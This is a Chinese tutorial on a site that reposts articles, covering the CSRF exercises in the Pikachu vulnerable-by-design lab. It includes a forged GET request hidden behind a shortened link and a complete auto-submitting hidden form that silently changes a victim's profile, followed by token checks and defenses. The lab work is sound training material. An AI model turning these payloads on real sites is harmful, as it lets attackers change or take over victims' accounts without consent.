Pikachu靶场——跨站请求伪造(CSRF)

news2024/11/17 13:35:41

文章目录

  • 1. 跨站请求伪造(CSRF)
    • 1.1 CSRF(get)
    • 1.2 CSRF(post)
    • 1.3 CSRF Token
    • 1.4 CSRF漏洞防御

1. 跨站请求伪造(CSRF)

还可以参考我的另一篇文章:跨站请求伪造(CSRF)

全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密码等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。

什么是CSRF?

CSRF,跨站域请求伪造,通常攻击者会伪造一个场景(例如一条链接),来诱使用户点击,用户一旦点击,黑客的攻击目的也就达到了,他可以盗用你的身份,以你的名义发送恶意请求。CSRF攻击的关键就是利用受害者的cookie向服务器发送伪造请求。

1.1 CSRF(get)

这里是一个登录界面,使用提示的用户名和密码进行登录

image-20230817202634396

发现是个人信息页面

image-20230817202724408

点击修改个人信息,点击提交

image-20230817202815885

所以这时候可以使用burpsuit进行抓包修改,在点击提交修改个人信息的时候,可以抓包,看到下面的内容。

image-20230817203208173

从上面的url可见,修改用户信息的时候,是不带任何不可预测的认证信息的。那么我们可以修改路径中的参数。

例如将电话好修改为一个新的参数。

127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=150666666668&add=%E5%8C%97%E4%BA%AC&email=2488%40qq.com&submit=submit

image-20230817204543665

但是这个路径太明显了,可以使用短路径的方法,来伪造我们的路径。

image-20230817204434743

https://s.r.sn.cn/vEARsG

如果被攻击者此时登录状态或cookie/session没有过期,如果用户登录了淘宝,在没有退出淘宝(或身份认证信息还未过期时)打开了新的(黑客设计好的修改淘宝登录密码的链接),就会把淘宝的密码改了。

1.2 CSRF(post)

登陆allen账号进行修改

image-20230817205148900

然后使用burpsuit进行抓包修改,在点击提交修改个人信息的时候,可以抓包,看到下面的内容

image-20230817205300480

发现采用的传递数据的方式是POST提交,同样知道本页面中有的标签以及name,方便后面构造表单时使用。

攻击者可以通过构造恶意站点,将POST请求隐藏在站点中的表单中,然后诱骗用户进行点击,当用户点击后触发表单,数据自然就POST到存在CSRF漏洞的网站,用户的信息则被恶意修改。

<html>
    <script>                                                                                                       <!-- 这个script是用来自动提交表单的 -->
        window.onload = function() {
        document.getElementById("submit").click();
        }
    </script>              
    <body>
            <form action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">    
                <input type="hidden" name="sex" value="girl" />
                <input type="hidden" name="phonenum" value="15088888888" />
                <input type="hidden" name="add" value="缅甸" />
                <input type="hidden" name="email" value="222488@qq.com" />
                <input type="hidden" name="submit" value="submit" />
              <input id="submit" type="submit" value="Submit request" style="display:none"/>                    <!-- style设置为display:none起到隐藏submit按钮的作用 -->
            </form>
    </body>
</html> 

image-20230817215704754

将写好的表单部署到攻击者的站点,这里因为是本机做演示,所以位置在WWW\pikachu\vur\scrf目录下。

image-20230817213536035

用户访问攻击者的站点127.0.0.1/pikachu/vul/csrf/CSRF.html并点击提交按钮,那么其个人信息将会被恶意修改,可以在控制台中看到点击按钮后触发的POST请求。

点击前

image-20230817215717853

点击后

image-20230817215732022

1.3 CSRF Token

token验证原理

CSRF的主要问题是敏感操作的链接容易被伪造,每次请求,都增加一个随机码(需要够随机,不容易伪造),后台每次对随机码进行验证。

网页接受从后台发过来的token,类型不可见。将其一并提交给后台进行验证。每次刷新,后台发送过来的token都不一样,起到了防止伪造的作用。

使用bp抓包查看,可以看到报文中包含token

image-20230819162127015

查看源代码,修改用户信息时,服务器会比较url中的token字段和session中的token字段,如果相同才能修改用户信息。并且在修改完用户信息之后,会用set_token()函数生成新的token,将其返回到html表单中并隐藏起来,以便下次用户修改信息时代入url。

image-20230819162741827

image-20230819163615005

set_token()函数在生成新token之前会先销毁老token,避免token重复使用。

image-20230819164654524

1.4 CSRF漏洞防御

  • 验证Referer字段
  • 添加Token验证
  • 二次验证:在关键操作之前,再输入密码或者验证码。
  • HttpOnly:某些情况下禁止JS 脚本访问Cookie 信息。
  • SameSite:Cookie 属性,浏览器自带的安全机制。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1065513.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

DRM全解析 —— plane详解(1)

本文参考以下博文&#xff1a; Linux内核4.14版本——drm框架分析(5)——plane分析 特此致谢&#xff01; 1. 简介 一个plane代表一个image layer&#xff08;硬件图层&#xff09;&#xff0c;最终的image由一个或者多个plane(s)组成。plane和 Framebuffer 一样是内存地址。…

软信天成:医药企业数据整合难、共享难?这套企业级数据治理体系是关键

在数字化时代&#xff0c;数据已成为企业发展的核心资产。然而&#xff0c;对于拥有十余个业务系统的某大型国有医药企业&#xff08;下文简称案例企业&#xff09;来说&#xff0c;数据整合难、共享难等问题却一直存在。面对庞杂的数据来源和多样化的数据格式&#xff0c;传统…

Datawhale团队第十期录取名单!

Datawhale团队 公示&#xff1a;Datawhale团队成员 Datawhale成立四年了&#xff0c;从一开始的12个人&#xff0c;学习互助&#xff0c;到提议成立开源组织&#xff0c;做更多开源的事情&#xff0c;帮助更多学习者&#xff0c;也促使我们更好地成长。于是有了我们的使命&…

OpenAI重大更新!为ChatGPT推出语音和图像交互功能

原创 | 文 BFT机器人 OpenAI旗下的ChatGPT正在迎来一次重大更新&#xff0c;这个聊天机器人现在能够与用户进行语音对话&#xff0c;并且可以通过图像进行交互&#xff0c;将其功能推向与苹果的Siri等受欢迎的人工智能助手更接近的水平。这标志着生成式人工智能运动的一个显著…

Embedding技术与应用 (2) :神经网络的发展及现代Embedding方法简介

编者按&#xff1a;IDP开启Embedding系列专栏&#xff0c;详细介绍Embedding的发展史、主要技术和应用。 本文是《Embedding技术与应用系列》的第二篇&#xff0c;重点介绍 神经网络的发展历程及其技术架构&#xff0c;剖析了嵌入技术与这些神经网络&#xff08;Transformer、B…

通讯网关软件017——利用CommGate X2Modbus实现Modbus RTU访问MSSQL服务器

本文介绍利用CommGate X2Modbus实现Modbus RTU访问MS SQL数据库。CommGate X2MODBUS是宁波科安网信开发的网关软件&#xff0c;软件可以登录到网信智汇(http://wangxinzhihui.com)下载。 【案例】如下图所示&#xff0c;实现上位机通过Modbus RTU来获取MS SQL数据库的数据。 【…

解密人工智能:决策树 | 随机森林 | 朴素贝叶斯

文章目录 一、机器学习算法简介1.1 机器学习算法包含的两个步骤1.2 机器学习算法的分类 二、决策树2.1 优点2.2 缺点 三、随机森林四、Naive Bayes&#xff08;朴素贝叶斯&#xff09;五、结语 一、机器学习算法简介 机器学习算法是一种基于数据和经验的算法&#xff0c;通过对…

0基础学习VR全景平台篇 第104篇:720全景后期软件安装

上课&#xff01;全体起立~ 大家好&#xff0c;欢迎观看蛙色官方系列全景摄影课程&#xff01; 摄影进入数码时代&#xff0c;后期软件继承“暗房工艺”&#xff0c;成为摄影师表达内在情感的必备工具。 首先说明&#xff0c;全景摄影与平面摄影的一个显著的区别是全景图片需…

将表情存入数据库

概念&#xff1a; 表情是一种比较特殊的字符串&#xff0c;为unicode编码&#xff0c;unicode编码要存入数据库一般情况下&#xff0c;是存不了的&#xff0c;有两种解决方式&#xff0c;一种将数据表编码方式改为unicode编码方式&#xff0c;但是这种情况适用于功能刚开始设计…

TikTok+KOL:打造品牌种草的完美组合

随着社交媒体的崛起&#xff0c;品牌推广已经进入了全新的时代。在这个数字时代&#xff0c;消费者不再仅仅关注产品的质量和功能&#xff0c;他们也关注品牌的故事&#xff0c;情感共鸣以及社交影响力。 因此&#xff0c;品牌种草已经成为品牌营销策略中的一环&#xff0c;而…

1.4 系统环境变量

前言&#xff1a; **1.4 系统环境变量** --- **主要内容**: - **系统环境变量的定义**: 系统环境变量是在计算机操作系统中定义的一系列变量。这些变量是全局的&#xff0c;可以被操作系统上的所有应用程序所使用。 - **Java中的环境变量**: - 当学习和使用Java时&am…

[计算机入门] Windows附件程序介绍(轻松使用)

3.15 Windows附件程序介绍(轻松使用) 3.15.1 讲述人 Windows系统中的讲述人&#xff08;Narrator&#xff09;是一项辅助功能&#xff0c;旨在帮助具有视觉障碍或阅读困难的用户。讲述人可以读出屏幕上的文本和其他内容&#xff0c;同时提供导航和操作指导。 以下是讲述人程序…

算法通关村第16关【黄金】| 滑动窗口与堆结合

思路&#xff1a;求最大值和前k个最大值通常就要考虑使用堆 一般想法是堆的根结点保存当前窗口最大值&#xff0c;循环加入元素&#xff0c;怎么判断根结点是不是在窗口内呢 那就是还需要保存元素对应的下标&#xff0c;当根结点的下标在窗口外&#xff08;一定会在最左侧&am…

亚马逊计划向开创性的人工智能初创公司Anthropic投资高达4亿美元

原创 | 文 BFT机器人 在一项巨大而突破性的举措中&#xff0c;亚马逊公布了向人工智能初创公司Anthropic投资高达4亿美元的计划&#xff0c;其愿景是创建更易于理解和可控的人工智能系统。此次合作标志着亚马逊打算在人工智能领域率先取得进步&#xff0c;巩固其在技术领域的地…

gitee 创建仓库 git 连接

文章目录 gitee 创建仓库 & git 连接gitee 创建仓库git 可视化工具使用 gitee 创建仓库 & git 连接 gitee 创建仓库 gitee 官网&#xff1a;工作台 - Gitee.com 先注册、登录账号 点击右上角 号&#xff0c;新建仓库 填写仓库名称&#xff0c;然后创建 选择你所在…

1.5 JAVA程序运行的机制

**1.5 Java程序的运行机制** --- **简介&#xff1a;** Java程序的运行涉及两个主要步骤&#xff1a;编译和运行。这种机制确保了Java的跨平台特性。 **主要内容&#xff1a;** 1. **Java程序的执行过程**&#xff1a; - **编译**&#xff1a;首先&#xff0c;扩展名为.jav…

VMware Horizon 8 运维系列(二)win10设置共享桌面图标

前言 在win10模板上用管理员帐号安装好软件之后&#xff0c;有的软件快捷图标不会出现在桌面上&#xff0c;有的即使有在桌面上出现&#xff0c;但是当发布云桌面池后&#xff0c;客户端登录的都是不同的域用户&#xff0c;当不同的用户登录系统的时候&#xff0c;很多软件快捷…

【数据库——MySQL】(16)游标和触发器习题及讲解

目录 1. 题目1.1 游标1.2 触发器 2. 解答2.1 游标2.2 触发器 1. 题目 1.1 游标 创建存储过程&#xff0c;利用游标依次显示某部门的所有员工的实际收入。(分别用使用 计数器 来循环和使用 标志变量 来控制循环两种方法实现) 创建存储过程&#xff0c;将某部门的员工工资按工作…

Pr音乐鼓点节拍插件BeatEdit出现不能标点问题如何解决?

BeatEdit是一款专业的PR卡点自动剪辑插件工具。BeatEdit最新版内置采集、剪辑、调色、美化音频、字幕添加、输出、DVD刻录等功能&#xff0c;还支持检测音乐节拍、生成时间线标记等操作。通过BeatEdit版软件用户只需选择素材就可以自己剪辑&#xff0c;多用于进行鬼畜视频制作。…

MS31703H 桥栅极驱动控制器,可P2P替代TI的DRV8703

MS31703NA 是一款小型单通道 H 桥栅极驱动 器。它使用四个外部 N 通道 MOSFET &#xff0c;驱动一个双 向刷式直流电机。 PH/EN 、独立半桥或 PWM 允许轻松连接到控制 器电路。内部传感放大器提供可调的电流控制。集 成的电荷泵可提供 100% 占空比&#xff0c;而…